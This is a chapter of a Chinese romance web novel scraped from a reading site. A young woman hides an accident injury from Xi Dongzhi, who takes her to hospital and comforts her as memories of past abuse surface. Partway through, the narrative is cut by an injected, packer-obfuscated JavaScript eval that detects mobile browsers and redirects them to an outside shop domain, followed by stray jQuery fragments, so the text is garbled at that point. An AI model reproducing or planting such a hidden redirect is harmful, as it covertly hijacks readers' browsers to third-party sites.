文趣网 > 其他小说 > 只许昭慕 > 9. 东窗事发
    和席冬知重逢后的日子,聂昭朝仍旧是日复一日、两点一线。

    虽然她还是在为今后的生计奔波,忙得没时间去处理和席冬知之间的问题,但俩人的联系并没有断,甚至好像有在变得亲昵起来,偶尔还会像以前一样拌嘴。

    在不忙的时候,席冬知也会去她店里喝杯咖啡,和聂昭朝见上一面。

    说来也巧,今天席冬至也是闲的不行。

    于是在制陶装装模做样地晃了一圈,直接动身去咖啡厅看人。

    出门时,欠了一身客单、连鱼都不敢摸的刘明,气得在他耳边阴魂不散地念叨着我要扣你工资、扣你工资、扣你工资。

    ……

    席冬知到的时候咖啡厅已经过了早高峰,不算太忙。

    因此小赵第一时间便注意到——拉花哥来了。这是因为他每次来都会指定拉花,于是小赵亲切的送了他“拉花哥”的名号。

    摆出营业微笑,小赵问:“您好,请问喝点什么呢?”

    席冬知不动声色地观察四周,见聂昭朝不在,便给她发了个消息,问她今天不上班吗。

    然后随便要了杯美式,结账时他鬼使神差地顺嘴问了句:“之前负责拉花的员工今天不在吗?”

    小赵顿了几秒一下,心里土拨鼠尖叫:看吧看吧!我就知道!拉花哥也是冲着小昭来的!!

    美貌真是罪恶啊,可恶!

    不过这个比其他的都帅。

    昭啊,听姐一句劝,这个真的可以拿下。

    这么想着,她便适当的透露了点信息:“小昭的话,今天可能不会来了哦。外勤的时候,不小心出了点意外。”

    意外两个字的发音格外的重。

    席冬知皱眉:“什么意外?”

    露出招牌微笑:“不好意思,这个涉及员工隐私,不方便透露的。”

    手机跟着闪了一下,是聂昭朝的消息,席冬知草草地道了声些,旋即转身离开。

    “欸,先生,咖啡!”

    小赵:oi,小昭不在,拉花哥不拉花就算了,现在连咖啡也不要辣!

    她摸出手机,这不得和小昭蛐蛐一下!

    ……

    席冬知走出咖啡厅,查看聂昭朝发的消息。

    【昭】:今天在家休息。

    席冬知皱眉秒回:“真的?”

    当然是真的啊!

    外出送货被逆行车创飞,出了个小车祸,所以没去上班,因此在家休息。

    有问题吗?

    没问题啊!逻辑相当顺畅!条理非常清晰。

    只不过说的时候稍微省掉了一丢丢的过程步骤而已,怎么不是真的呢。

    但她还没来的及回席冬知,小赵就带着信息轰炸来了。

    发的每句话至少都带了两个感叹号,吓得她还以为是店里出什么大事了。

    结果定睛一看,可不是大事吗!

    这大漏勺!

    她皱眉为难地叹了口气,开始发愁该怎么圆过去。

    吓得正在给她敷药包的医生赶忙抬头问她:“很痛?”

    她赶紧摇头否认。

    医生皱眉:“痛就说,不要忍着。

    “这擦伤看着凶,但都是小事。主要是你这脚踝肿的太厉害了,诊所这儿只能预处理一下,建议你最好还是去医院拍个片。就怕有骨裂什么的。”

    她是真觉得还行,不是很疼。

    只不过崴了个脚而已,没什么大不了的。

    ……

    医院,诊室内。

    “小腿胫骨有骨裂的迹象,好在比较轻微。”

    医生指着片子对聂昭朝和席冬知讲解道:“但是脚踝处积液有些严重,韧带也有损伤。”

    “不过来的还是比较及时,没有拖得太严重,给你开了点外敷和消炎药。”

    说完医生盯着席冬知交代:“病人最好静卧修养,等3-5天后再来复查看看情况。”

    席冬知听的认真,时不时还追问一些细节。

    而一旁直到席冬知追到医疗站为止都在还狡辩说没逝的聂昭朝,现在正端坐在椅子上,小鸡啄米式乖巧点头。

    看着身上摔的脏兮兮,腿上青一块紫一块,脚都肿成猪蹄了都还在傻乐的聂昭朝,莫名的情绪在他的心头翻涌。

    最终只是化成了一声叹息。

    他强迫自己把视线从聂昭朝身上挪开,怕再看下去自己会失控。

    因此接下来除了必要的交流外,多的话他一句也没有说过,就这么一路沉默地带着聂昭朝回了公寓。

    此情此景,饶是重逢后一直在装疯卖傻的聂昭朝,现在也不敢莽撞地再开口说她可以自己回家休息……

    她只能努力把自己的存在感缩小缩小、再缩小。

    最好小到没人能够发现为止。

    翘着受伤的腿,聂昭朝把自己藏进懒人沙发。

    视线却悄悄跟着席冬知在走,席冬知往左,她就朝左看;席冬知往右,她就朝右看。

    可等席冬知拿着冰袋向她走过来时,她却又别过头盯着窗外路过的小车看的那叫个专心致志、心无旁骛、有滋有味,就像是不知道席冬知来了似的。

    席冬知挤在懒人沙发的一角,看向她小腿处的擦伤和淤青,最后视线落在她红肿的脚踝上。

    像是把他的心丢进了仙人掌堆似的煎熬,心脏每跳动一下,就带着刺扎的更深一分。

    细细密密的疼。

    忍不住又是一声轻叹。

    席冬知拿着冰袋向聂昭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862546|212070||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    朝伸手,却见聂昭朝下意识的把腿往后一缩,随后又听见她说。

    “哥,我自己来吧。”

    可以的话,他真想把聂昭朝的嘴堵住,净说些他不爱听的话。

    不过,席冬知还是闷着没说话,只是动作轻柔却不容忍拒绝地抬起她的脚踝,将裹了一层毛巾的冰袋垫在她脚踝四周,消肿、阵痛。

    随后虚握着她的小腿,大拇指轻轻蹭着上方的伤口。

    席冬知有些不解,明明他已经长大了,怎么还是会感到如此的无力呢?

    他有些无助地看向聂昭朝:“昭昭,你长大了。”

    然后似是向她祈求般道:“可是,即使你长大了,也不要把哥哥往外推,可以吗?”

    令人无法逃避的视线,里面饱含着对她的怜惜以及暗藏在深处的委屈。

    聂昭朝不知道怎么回答,只能顾左右而言其他,没头没脑地说了句:“不疼的呀。”

    聂昭朝鼓起勇气回望,想要更坚定地告诉他,她真没事。

    可对视的眼神逐渐由坚定变成闪躲,最后又开始不自觉地回避。

    聂昭朝本以为她在这几年里已经学会坚强了,事实上她在遇见席冬知之前也确实做到了坚强。

    可现在每当她看向席冬知眼睛的时候,就总会让她不自觉地回忆起一些不好的人和事。

    比如,会想起今天被逆行的车辆撞倒,她忍痛抓住想要逃逸的车主,带着流血的伤口等待交警定责的那一刻;会想起聂建抱着弟弟,让她滚蛋时他那厌恶又嫌弃的神情;会想起挨打时巴掌落在脸上的闷响;会想起居无定所时的漫漫长夜……

    她不愿意去想的呀。她也早就不在意这些瞬间了的。

    可是……

    席冬知抬手,想要捧过她的脸,不让她再逃开视线。

    手伸过去时,却看见聂昭朝下意识闭眼侧脸,抬起手臂虚挡了一下,而后将身体蜷缩起来。

    他脑子懵了一下,旋即反应过来这种潜意识动作背后的含义。

    “昭昭!”席冬知立马心疼不已地伸手将聂昭朝搂进怀里,轻声安抚道:“昭昭,你看看我。看看哥哥。”

    聂昭朝身体僵了片刻,随后逐渐在他的体温下软化。

    她的头开始慢慢、慢慢地钻进他的怀抱,手也缓缓抬起,最终死死楼住他的腰身。

    将脸藏进世界上最安全的地方,不让任何人看见。

    嘴角向下撇去又克制地绷直,反复几次。

    “呜……呜呜……”聂昭朝最终还是没忍住,放声哭了出来。

    席冬知像小时候一样伸长了手臂,稳稳地搂着她,听着她的哭声,只觉得他的昭昭,哭的好可怜。

    至此,他终于确认,他的昭昭过的并不好。